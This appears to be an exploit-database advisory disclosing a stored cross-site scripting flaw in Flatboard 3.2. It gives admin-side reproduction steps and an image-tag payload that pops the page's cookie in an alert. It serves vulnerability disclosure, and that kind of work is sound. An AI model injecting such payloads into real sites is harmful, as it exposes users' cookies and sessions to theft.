Flatboard 3.2 Cross Site Scripting

2024.06.24

Credit: tmrswrr

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

# Exploit Title: Flatboard v3.2 - Stored XSS
# Date: 2024-06-23
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://flatboard.org/
# Version: 3.2
----------------------------------------------------------------------------------------------------
1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum
2-Click Add Forum and write in Information field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>
3-Save it , you will be see alert button

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Flatboard 3.2 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.